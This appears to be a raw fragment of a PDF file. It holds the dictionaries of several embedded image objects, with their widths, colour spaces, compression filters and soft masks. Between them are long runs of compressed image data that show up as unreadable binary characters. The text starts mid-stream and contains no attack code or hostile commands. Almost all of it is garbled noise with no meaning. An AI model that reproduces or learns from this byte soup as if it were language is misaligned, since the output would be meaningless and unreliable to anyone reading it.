I*MHLͱ8wfu~O93swpbLհ#7]5mk;5ޯAvrSPMHMHMHMHMHMHMHMHMHMHMH1[aN>[5q=̃O?|SƉ[+]Ͽ~΍]U{o}kzkqkz軙jLq@ m +@ +m +@ +m +@ +m +@ +m +@ +m +@ +m +@ +m +@ +m +@ +m +@ +m +@ +m +@ +m +@ +m +@ +m +@ +m +@ +m +@ +m +@ +m +@ +m +@ +m +@ +m +@ +m +@ +m +@ +m +@ +m +@ +m +@ +m +@ +m +@ +m +@ +m +@ +m +@ +m +@ +m +@ +m +@ +m +@ +m +@ +m +@ +m +@ƙ=3nĩƸa|96욮zk⛯tM_vk֦]'O5}'W~uM;v?Y]U5C]Y _]U5_lBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBb8qfLq*1.ǮfmoywmUfwMKmm}qh{Lpdmf]U7uMԣm7~斮{BtU]Yl۞}ŖetU7UMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMH1[q9y{狇}=YtMWA'5o5]U^j[?ƙ嶏Ųkxͮkۺ{ ð򱞛BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBb1dإq9vMWթ[^=~_}kknw-WU^v}̏;^~kOh{ TtUڷ~K\,z.BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBb1C ~4ctU=ٮa~k^w^wCk7nxJ&Ӯm-ʕͮksmg5]UX[<|mίa2/Gn:5]UtM?m]ͦ}?5]U+]O~}5wjz?o7۾bUOMjgmϼV+v?q9qXވSٍOvkN^[_^t w {j{95]U.5<׵\Uu3]Ӌ+]wꚮ^mnvMo5~*'qcN:5]Uk5}etۇݮӮom~iƭ~ޮ|wwMWձmӓ{KEx]lmkzvtU þ.M'Ӯ骚 k[s;~ǻ﷽;_vM{*7rOgn?蚮ӷMOn{c[9TNn,ꫵcsSRhSRhSRhSRhSRhSRhSRhSRhSRhSRhSRhSRhSRhSRhSRhSRhSRhSRhSRhSRhSRhSRhSRhSRhSRhSRhSRhSRhSRhSRhSRhSRhSRhSRhSRhSRhSRhSRhSRhSRV8f}?]uMWz[]mvUU}ZvM:.e]ӟ~c]UuɮoZ?ܶ]uٹ嚷ءm7پk▮J<7 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 l {=f2믿5]UWvwM:=vM_xkMtk/~k޽: ?蚾;ܿ~ᕶZUs֮xkzٸem;]ǯvM_lvW|))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))g|d?>rdtMWm7fӮN#ڶƭKmv4)Y5Z~{}]?=5-U5lc=7 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 lcomtM/mwM?@rU՟{ޜ/qղuVAuuds>Lnk|b}vMW_53?? ?acq욮|kZ|tU]\Mkض]UUqI/IUl6}C]ӿۺ_>k}mkZ><7 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 Ŭ>J5Ͼ5]Wڦ~wM_]ϽntU]jUuS]_?wMW:?[۶}/|1M_MHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMH1l\tMWl}k/'oZ:zo5W_k켫rhfm_v=))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))g|dr>:Yɛ]}k֮Om{Ϗ;5]U]um;/MWՋ\pq5}u,[&Ӷ\,ЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦNl>H4Լkz6i[lwMvtkz6Zm^k~Ŭkz{<5͇oqЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦNlA7Dvi>?0-|XjGWJ[ЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦЦp0 ~4ct&?0<[>4äb[W +<7 6 6 6 I +endstream +endobj +2050 0 obj +<< +/Filter /FlateDecode +/Type /XObject +/Subtype /Image +/DecodeParms << +/Predictor 15 +/Columns 905 +>> +/Width 905 +/Height 885 +/ColorSpace /DeviceGray +/BitsPerComponent 8 +/Interpolate true +/Length 2572 +>> +stream +x1  c=}zv0N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BPD(p"8 +N'BQ +endstream +endobj +2051 0 obj +<< +/Type /XObject +/Subtype /Image +/Width 755 +/Height 657 +/ColorSpace /DeviceRGB +/BitsPerComponent 8 +/Interpolate true +/Filter /FlateDecode +/DecodeParms << +/Predictor 15 +/Columns 755 +/Colors 3 +>> +/SMask 2052 0 R +/Length 7230 +>> +stream +x[e}{sxlOc;6N]LIHb4Z!UHT +$3kyCH(H(ȥIHҖ fO=/H&ޞ?ǸY{;l>VoU,/ku&םa +8FGUvh^c$G}M6gWƊ^C>N2|}>sRk=ouWUt+(el> ЇP6@C}(el> ЇP6@cx uA{|U|de2E2d>d^ ЇP6@C}(el> ЇP6@cbX)$l>F*;zհc5MO';o9x)߸u1Ln\W/KuCeO \Vױqwl> ЇP6@C}(el> ЇP6@C}(el> ЇP6@ugH0 {cp: ЇP6@C}(el> ЇP6@C}(el> ǰ}غuͦdX.ÏC4OxVW7d~ɺ>$;ޞO<_~m7̫jOr]/hg^ս<|Ul@N7b}[j*|t+CKowF}(el> ЇP6@C}(el> ЇP6@C}(e1l>sx],/ku&?!ƭl^7Lzwt;}Gudx^毜Ѽho3|0h~L_z6&sɼ- xc=k Ujfl> ЇP6@C}(el> ЇP6@C}(el> Їn=v*o=c2wr][d^Uz~~2ꝿku][ +UÐB"ZxG;o{dG|KUUgdY2yh>ٷl]4_l> ЇP6@C}(el> ЇP6@C}(el> ЇP6@q;;oکte2_[|d~pr"=d^U7ޟ̟ד?뻧 |>n&V|RчSSUCHyC%1GϜ Ï~P6@C}(el> ЇP6@C}(el> ЇP6@C}}{Nvɼ|D2O=:S|]օd>4:|vʎfCeo^u^E.G~5o<cDzKy\2Jc:׳j7el> ЇP6@C}(el> ЇP6@C}(el> l'bh=d~`B2ǿgyU}[kU.&IvLƕ[4|񗵑//G vR2̫7md̥|=&d7mjg7el> ЇP6@C}(el> ЇP6@C}(el> l'|E2?w+硏&?'yU}U2dr6NFt;noϽ^^?rK4w0J4?{iB+'?#~G2d>.y ɼX$C}(el> ЇP6@C}(el> ЇP6@C}(e1[ e:L"߸~ |sV2WWɼ^ۉW5Me2ykLoM7zw2|'m_UWk_Eo+Ǔ6Og+?ҟ߽̿Xz+ǒd~\ V7el> ЇP6@C}(el> ЇP6@C}(el> l'!ϦQuG2>g\Pc2 ǒug4o$7$oB28z{4Ht]h2_}{$j'nci_|)/Vїj ЇP6@C}(el> ЇP6@C}(el> ЇP6@C}̆a?O&zt#j',Yױ[%}3ɼYNJxaN{V|y5d] ЇP6@C}(el> ЇP6@C}(8{b׋HM7o%w0Fj#|*G7px2d]>8K7Gw:G~0ϜL.l#!ԄcJeڟ̇!Yݘ͇'o6@C}(el> ЇP6@C}(el> ЇP6@C}(ٺO`/qLd7gd5[$ ЇP6@C}(el> ЇP6@C}(el> Ї\j2$rwc2X&/k>ͷo=/槲}N1H?x.ooGh>GϜФvWؿ͇졙=+~P6@C}(el> ЇP6@C}(el> ЇP6@C}`|3|Ww+ɺѾjU+Lj7ɺ#Kdԋo˙"x%?|d^U+%NFG?_=ݸGI|XɼV:TU՝O_Nۇ%UE7^M7?~P6@C}(el> ЇP6@C}(el> ЇP6@C}oY$ +q'gwݛ̇/?̫jE6LJ.$gNFҘ'/|UdV2ߍ}ɭdpW';'k{oW֟릆gwOl> ЇP6@C}(el> ЇP6@C}(el> ЇP6@u^&C4WٗJMG=̫y4]MbLO?{6^2ltkLA4'̫حO٧"O/%7OUt 7mFFws#?~*z.z`[_Σ+ +~P6@C}(el> ЇP6@C}(el> ЇP6@C}09qUɘ̗h~ngo_y2E2ɺ?_9;'^Ͻb2 +?r}WUe2?s2NͣP;K_ud?R2tP2_0D}lGV*7l> ЇP6@C}(el> ЇP6@C}(el> ЇP6@03}Zf/]O^L>dߐ̫ɧ.$|gLWVopcƛ<;W̯,+_U㰑'N2n2#qo;c ow8YЭѾ dG_>̯ޝٍ7|5F.4ɾǚ^5WxKQ6@C}(el> ЇP6@C}(el> ЇP6@C}(yZ9qUaHɏ}wwd3> מM'^M{W5&V ЇP6@C}(el> ЇP6@c>|lfi2_,|5KCEGqx:uUտI>dd~d]|>F~2C2쯯!{ɸʎ}l)n͢M>ޝKSS+,,sٷU W{dC}(el> ЇP6@C}(el> ЇP6@C}(e1l>sx(a̧u%o &?_%'MdɺN]1W5_5֐'|Z?#??$%lӻ%ո/ٯcuQ5dOvfl> ЇP6@C}(el> ЇP6@C}(el> Ї[9a8yvn=wtGd~v2'&/':w>_+lmFCmF>p2߷yѝٝ[yU-2&Z7el> ЇP6@C}(el> ЇP6@C}(el> ǰ}غuͦdX.ՙ1aX'0|B2߾a?sG/=P2+O'3/]޸Z-d~ͷ'o3O6nN'L2?bǛ'ZU}Q㐬gi2kC}(el> ЇP6@C}(el> ЇP6@C}(e1l>sx],/ku&k0zͺ~L֛d~`b2dSw&Dww8߶}CtlϞ̟zT2{CO'zB4;|̇Zq^U0_!Za~ ЇP6@C}(el> ЇP6@C}(el> ЇP6@c>|l6f|_3 :wwd>.%[h/z%4Y_wwVdM.4FogU[}(el> ЇP6@C}(el> ЇP6@C}(el>f>Sx;.~ޭj+x[2xy*YOFsC6f1;wP[s8ƫ=fl> ЇP6@C}(el> ЇP6@C}(el> ЇP6@u^Oz5zO`\%a2$q7'o_u.ۏcv!? чbX)M]n1kE}(el> ЇP6@C}(el> ЇP6@C}(e1[ euWxpd 8^ϗz7Ϝh>@lN ЇP6@o +endstream +endobj +2052 0 obj +<< +/Filter /FlateDecode +/Type /XObject +/Subtype /Image +/DecodeParms << +/Predictor 15 +/Columns 755 +>> +/Width 755 +/Height 657 +/ColorSpace /DeviceGray +/BitsPerComponent 8 +/Interpolate true +/Length 1753 +>> +stream +x1 0& +ztς;<5xSyj> +/SMask 2054 0 R +/Length 12579 +>> +stream +xIdWzSx9'@RI ڬY޴ubsL eT@g$y;{w?ֶmKvmg}l +#(,n+e1wyf>|{v=,W"o6yG|WkFm~Nf~~4tJH@4tJH@4tJH@4tJH@4tJH@ƻd_չ]RzG<39<OAqk휝9=;3''8Jwv;뼠wwwqf~37e*\뛸63׋vyk*.ïqaO_}1WzMB:%SB:%SB:%SB:%SB:%S`;iUy|;"ׅ >ʻW|WFn'% )! )! )! )! )! J̕^8A7so_ř/?3OWqfgY[le._G`<3.Zr{Nsy.~̶u6%o]ę7O{*?5x.//jns8o_)! )! )! )! )! )W:(s=4zhg?ɵ<˷G,^.l^NX7|<<_2ML{XD^i^''v|0 e⃣<'$vur3o\ř<3/ܨp[xUnSxm+! )! )! )! )! ЩgߴvL>Ai& +ȏsAgËw_?3Oƙã˽^˫8rg]ź勼˭wwy;qd^mir;y<3qQ\>ƙZ;? 3'q,o;}3qի<ݏwq濽o/nB}k-wh}ގ?=nynhN i蔐N i蔐N i蔐N i蔐N i蔐NwP.spgxgo]OmY*ޫ Oȍos˫\{qv|^M^o6Jܻ==Bxǣ|38IΓ;3_?W{pR8fW(lźoHAv b_)! )! )! )! )! {g`P;Oƙ?!O>=Ճ:μ}{gCu./Mfy_83[8^.lmxo{T)JT) ¾< 3חdGDxç|I@4tJH@4tJH@4tJH@4tJH@4tJH@\Vmw.(tg=(\{~-O//o.r~{Cn7nR>6ygVnŹUahfn:?5wy wj{g6rtYM~֋[e}b߂%§p~DN i蔐N i蔐N i蔐N i蔐N i蔐Nakm;̝i.ldSqt}vw3Jn7~ ?ȋuUh**ׅ"w+VVۭރũrDMCm>es{{sWx"^/W߿Ó܅/[pOh/Z٬om ܛA6ɗ4tJH@4tJH@4tJH@4tJH@4tJH@4tj}`oGܧ,o_ +J.~f?K_w}nqۢf\kzﳗ{}lhSȠ0<5fm٦pbOv83{>3cs?w]a+wGK:%SB:%SB:%SB:%SB:%SB:5wTWq}xxg?۳8ܴ\ګw?^\}7 +psn~*TB:%SB:%SB:%SB:%SB:%S}6w +`+܇\64ww7gqo%83ɽ?d{.KRfv{Vl>d}UtX=]f:*?ꗷm^Q9g^<ίox遇-ɇݎ̺7 9% )! )! )! )! )! ~Wco8L/ƙ'r/jS~wg޼oݫy]mܫ`?aΤ030߄:o6yŷ=ZKOkTYƅ17a*]٥JkA+<ڻ܄󾦯 ?|l遳iMz߶>\噫MNw7|F4tJH@4tJH@4tJH@4tJH@4tJH@OOyyIy4Lݏ\CԞzb7UsE+{23LJpo8)+R.TV\w+T4Y/-$Ϝkz'm..*-8ߧJr[k׷qիWq4G=x~7>eaAy|I@4tJH@4tJH@4tJH@4tJH@4tJH@ƻr`rMxgz U"&^˅߽ ̯HΛinnZ[0Ϝv?9<̕ыe^Wof<3/9]aEG|+ɿ{ZXb +2n]#(,VUVY*?o}gޜa9^ +7L~l%|I@4tJH@4tJH@4tJH@4tJH@4tJH@ƿTwC}qOrUCnkAn~w[t/tw׷ +mBڶ~ +mX)8vo:o0u^yyGvVVkz͟?./ַ_| on +XLEN.k}›CG'q#gOu>zgY}^ߗ4tJH@4tJH@4tJH@4tJH@4tJH@4tjKPw,/Vӽƾ'¾V|ЛdU7i5[kswgq᛻8+oK}I@4tJH@4tJH@4tJH@4tJH@4tj<ZkBhj؎FNNrIXou m4ow~ :2œ8szSN7qf-^癛Y>㸑\L{0mB1`.$v<,b=x72=̋5 |*2E\^E>Dž_36wyj|I@4tJH@4tJH@4tJH@4tJH@4tJH@mKr0 GGq#'8OUn%~zq^ГLnNVѮ"+O|yz&]ۖjׅ/i蔐N i蔐N i蔐N i蔐N i蔐N izA!0t|NsQӞZW\?;l"?Xmp;bynq<8+\QѴϻSyU*y,`o+rEyzG3Ǔwqfz % )! )! )! )! )! ҽ<(BGOuzmr)4Q%vK6lr:ﯗ'$>.]*쫫86\}^v4;:*JZ:?ˋu\X:/U &_I:*,tw4)| +%ןJʽJ|7yO:=a"L>ҊK:%SB:%SB:%SB:%SB:%SB:K_aHIIn +{wGjݿ W Dž\}x)j;of2t8|#i23o\>==3x*OrYapJx3a ݅>wv[ pB ]SX£ש/i蔐N i蔐N i蔐N i蔐N i蔐N iAգRMlh<<|Xh?%=?Otu{gׅ(vnah}ByNI6.4FW^q7=+y1 Ů˽+|^Ǘ4tJH@4tJH@4tJH@4tJH@4tJH@4tjZkÖ벷0ZkvZkQh_Ed+⧇{<[2&mH[}z` \ r/m8XB]|vu\(-?,OӜVʻ}y>,\0ԏ^ƿۗ4JH@4tJH@4tJH@4tJH@4tJH@4tjkڮ+;`WĻ,T+ + Ó]y1đ6>3Pȕ<*O +ۻ&T-r|Tq sx[GxFYbeWB|vKݧ8䕸07&̫uE(=[=93Ǔ|'>LqE3"\Z 2|Hoizs_;\Hކ]^J/^Mz[sx{OGWqfN&?7~>#B:%SB:%SB:%SB:%SB:%SnjM蒝/rm.֞|_:<Χu|3)TX Wk/h +Q'anA^6,Voq-rsktZWy+GqlO4_:qf~K>xv/P^`@kmPdgOzpf:ޫa3Gnn i蔐N i蔐N i蔐N i蔐N ixݵvη:ՂśYnsCn NOsy>8 +%m0EܪWG<,Dž +,Y.T(7|Vf7wrpwspLLrw._m@¾*7ux;͎*|쫆6Wcqlbs|xgǹzUh!慙Zo*׫;&_Wp\p^^]֯ҹ{׹=xɽ܋y3|?Wpz[kmSw'k}>AۏU~U[ mRi"QF}rN]z.2^8ҿX|dI}I@4tJH@4tJH@4tJH@4tJH@4tJH@ƥZkԢ{wR ܯÕǹqaz>?xř:Be&UnKy!V&;oMY~-׶p 7yV M>>(/swysGe~ZC=>"ߨ/_s]FӃ|0˼|c +=5|WbXa>'FhO֟~'|rE% )! )! )! )! )! v+u =U. `?}=3ǹ%uygewV|S8yٮCnkm63Z)s*}hXĠܹ=}m +ו8(\Vi.avnF&|B5pin8w?qnqgwK}ٶ0 ]nEWsvUNU>񛛛83/FvmGv+6nn]N gua!* ^0ǏřOrŧ6yO?|YnߛN i蔐N i蔐N i蔐N i蔐N i蔐NmOla#e.}wk~g#3OBsCY,R%j_Ӆ țRv֦B\NY +J{0S/Jު ])~/n?W}֨;iqy$Waj]-8ygJ+~iGٗ4tJH@4tJH@4tJH@4tJH@4tJH@4tj\ͣ&޻M.w}7gqQLQ{ʲ[{,lޭ:R"do]{h.kO3JBTp +\ؐ^*H r{t +/E4,w>=pq?}='X/g/i蔐N i蔐N i蔐N i蔐N i蔐N ix]+P$μO*aw}/]i\f\)roǕf/F|? ea4<}gz\?pz?\W9hՇ]Ƒ*诜% )! )! )! )! )! W]Kpy˝ѳ,|q8./Hm6;sivY)#Bs=A8W̳gj_/_~:nd6,aߒTJ+ی/i蔐N i蔐N i蔐N i蔐N i蔐N iTuz\鋋8\Os/,Όqi>o^&GM +EEԄW7-/TF*]и0s03LJyC%ճjqy \tq+x5oq#Em>mD/i蔐N i蔐N i蔐N i蔐N i蔐N ixݶ~RU\F.-A?S0t(ƙ\Z??=tz78B̿?B᛼s&xkmתjAnQj<˫^toM٤mH|[K+EťFTZkŸ f| +Oǹ}~jS>\1ϼ1Mlg[64(=}% )! )! )! )! )! *]ϔu;3u.]Oy9Pl󓸑_3OgrGWqiWyv537׹x7nyfv׼T$^h.zGy$/Jv~q9;O֣p=+Q-3ߎrm>?2μ|ug*wqfȷan-[x;*5{oSB:%SB:%SB:%SB:%SB:%S.L){jﺾޱbbm_'6|uL|7s_]ckx=׷wUΩtw=]=xKo#{|g~<~8Y99ȍǃ]n<5˿qǟXrP̽tw~yf83W$/4<83vЮ>=0F^O֏o._~z}rtwXUSB:%SB:%SB:%SB:%SB:%S+t߮wvks{=/fAj +5׏AE}tG9;= +g0Wv _k橔We|YyЗos{Eou~"&\ݾn0GSB:%SB:%SB:%SB:%SB:%S'Ͼi6޿RG;hy!0SH>(ohoPZ;= 'y_ggy_ggqaa;u>+tw4 rP\Zy&\r¾ +U7agn-l'w[]ʫ}ou۾=c5?B:%SB:%SB:%SB:%SB:%S_:wV(U.n)Nu(-Tahۗr7tUh!^6$/ x[k o^i|ttgy;Azm])tw7χypg_wO.sn;3Bf[x䇦}^z4}I@4tJH@4tJH@4tJH@4tJH@4tJH@r-~=vMʃ†\=2mzA>Gqf> +/Width 652 +/Height 677 +/ColorSpace /DeviceGray +/BitsPerComponent 8 +/Interpolate true +/Length 1806 +>> +stream +x1 0qݳnjd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3aF2H0#f$Ìd 3qI +endstream +endobj +2055 0 obj +<< +/Type /XObject +/Subtype /Image +/Width 190 +/Height 62 +/ColorSpace /DeviceRGB +/BitsPerComponent 8 +/Interpolate true +/Filter /FlateDecode +/DecodeParms << +/Predictor 15 +/Columns 190 +/Colors 3 +>> +/SMask 2056 0 R +/Length 6183 +>> +stream +x}isG]rހ (i78 ώx %jHXj^M! 'lTU̓yq~%+vQg;bGuv#vQg;bGuv#vQg;bGuv#v0l~G;/ w\3ovK_> :߀GUX~/k)9o?7ps@D thWq~L{LSDD2"nxxԹe3 .N0M33AHCUUUDnֳ4EEU<, "1a0S0׭E9ghȀ)L~ %t֐%% hkFĸmGo1 a'SP@Ph)KPHb%ۄv! Bز{`Y6I: j4: +UU*SN1.iPcCD:>$^[:htQȚbL]ːDY +MEѽT.b8h`‘ñ'իnABHy+uZthr ck G654]8hΜq950Q?.qp*X21"]P29LrDG)vO&~(UDTUIw9nW + 8XUߎED4=gLYôBbpd7"CP7Xk˲G0T1Me[W^gE6F,߰ps+r1Ȑ1 ;"lmWAf($N:Kc.#32P3# FBn֫ЪE[Ub=>< YéBI__n*jP}3z~z 1&v5utIrŕ4EsV)ed$PK= +!'G1_0{~H$I|%U~@J/fe$ͿiO9)n*"cseU i =h+GŇXq}^ gc/g]I?tA![ɓOu9\-OILڊm5_m¥5P{#AJiy-; ֵA!=!?>ckz1>/˳tZ7RP%E􊾨s}1Qt:z?G]߾ŋY˟J0JL0|9?ζ9f5@"t/~âE+ ibG޹pd=HdPeOv^_#۰X]/_xn;8C..h]hf +y""܆漪Ұ-u] cF{'ɛU\aSsr*J**Ykek]tqY9=^f)1PDo<#)"-|oqoȃ0Ce;qc`fk,fGOF]t/6&Ֆs"5x3H1hH9 tQ| æ(q[y1ӵEy\&ɨ9kE_vw7Z!CJ7 V,)tto6!~jFhiAIx2FMс\R%|ўC Xʩ@++wf " 1" 58(cG)Rl[m.u "]L@B&YDs)oM[APԲ*ˢYE 14>m5rvd͔drL)nREVWn qkg*͔R2拔."iVg+'f81kD5{ < {0+G[ Dd@Udjr|1&6AE8܆@2@4$`Qe:~WznnY6xFxlt^ֆM!QQ0 + v2 +ĽLdôk Jq Pd 霬4,2l=:ۉ U@Ȩ( %@d^WI]7˺Y6)$U `Rb[*1\UU:4P"U C%U&@VE铧UWq:_5'MT0'#&PJ:Sd:!B5[-h"J"`DlI:͝HRTd2̌@Q*hhtɤ(J)) )rTӷ_\{R@4ذh۟ϝ=i&69UtŲ9m(1M J7Ly9$le*2dA"f.vL yҾ7=m; +"03DB:x l@q?. uy4x̞E HHֻQ~o6YWԀ6,Kbr3E.T5,mr5].yvI)ׂ\{74f +Dw[ld#&dRT@0{B4/Vǫp2!y0 +T.*l<(l;-&0mJĈ}!^*,vmC6DgfdƇ~҉>ЈDsc;%x]1@ H2|+m + bG<4?¿7TPUԹM^ps+^ܰqѐUF5l}QHtyS۴n GP식l4.VWKeGvȜEi3YwutF2**)žu$hL+D Pլ, +k\k6))Sۣ~unPo和shQ*OD +&g_=GfN?7L/...^_.`zCBS_ϟf^{Y\wխd?*fU֫իzUC sm얧sڽ\k92 mTsTPJqUYr~ZHإu T), Q=M]GE0_׸ +J6?IGD`f˒*o+_ueƖ +s|juú`T!1?ݛ~1սlCX,q r4{(HB,D9nǛņ68P.J;=b (@ReQڞK]h[8X:Ixԡ~QZse CYO,9}tOĸ]VP&lQ Gic{rhA5.2^sBDP:)!E||bV/Lu9!񄊔vbFV /*\?8?<-/ĈZB +l;cAU۪*m EVɐ!uEʠr_փuAy/Xv6Q%Od"9 ޱ'%ĝfuBGbDYvPyE{DS7~4?>EwE}ܘ6'u=U59Bذ1lql0bQWn\ ͚ی뭭 z>$=ɭ5ըFUms˜r),ak"un1+X.V59Jv cacxw-K`.1#2(hYBy7>fU {/[@ιkۮkSʆ3yGn%033vA@67!諪MF2M(|>WB1Ɯ?, 3%>` W^_EF㌖(WâΡ+mFkț#m +D SLIp"F@_tj&Oۦyh1,6> +ƼZO)I +}դiJe-;wXE&P+"A.IfoEE,$k͸B3~9r +pILֳ=G#RKyۜmbAٹUxX!":zCb {-VH-E1@%<=.Ɨ%<0('ԓsu h:Op_97{(" ZkoK}rW ;l]ʮLuz(C3xj2bYxm-b?)OFGu3bRy1۬_eѰ{;9ggZ0A'{V}nOnu}$~ԇ@#EO̻qbD4q{',x&2`^}UĿ4+V}ECn6yrWR6Z6CTj߆:nccSY8Ȣ;l Ԝ5ytarƱ5p㣉 Mɱx_پ%g\;x"5v:s+^^^~w)A#ޏCQRu l._^.^\' ,Aޯ| Us#rZ܄T@o6m}*f{$]Z_n_TH/w\/.yo6 +eYf3~>*4'MX2$ FQXwvj=?\"n+imwUmXkx|@vj˲#ˎiț]ߴM2um)&>'AQ8%K'!ڭR"QryFy'bsɾpEQl趰AbIm ֜VUe +#ĮS7efvαe*(""Qk*7 7peYpى޼d!mD5jm"!"131'$ԬO}M} J,A I!f :Hts#ԹWF>`~et ?{04޼K63v:Nvt '|n<ϗ"[`w#vQg;bGuv#vQg;bGuv#vQg;bGw\ +endstream +endobj +2056 0 obj +<< +/Filter /FlateDecode +/Type /XObject +/Subtype /Image +/DecodeParms << +/Predictor 15 +/Columns 190 +>> +/Width 190 +/Height 62 +/ColorSpace /DeviceGray +/BitsPerComponent 8 +/Interpolate true +/Length 89 +>> +stream +xA 1!GCrU=gGԗKR}T_/՗KR}T_/՗KR}T_/՗KR}txT{ +endstream +endobj +2057 0 obj +<< +/Type /XObject +/Subtype /Image +/Width 190 +/Height 62 +/ColorSpace /DeviceRGB +/BitsPerComponent 8 +/Interpolate true +/Filter /FlateDecode +/DecodeParms << +/Predictor 15 +/Columns 190 +/Colors 3 +>> +/SMask 2058 0 R +/Length 2812 +>> +stream +x[sDWj%KeqZr ]OɐC)ZBg:A(30)߇ (5q|m:3zC8-Zg~VFBP( +BP( +BP( +BP( +BP( +BP IZe8? +T*1 3H0! XR. !,˂1a/o{JgX,&("1M^pZ&"<3 ֶ^w*9k1fY2x<<ϲNٳ`1< fPV 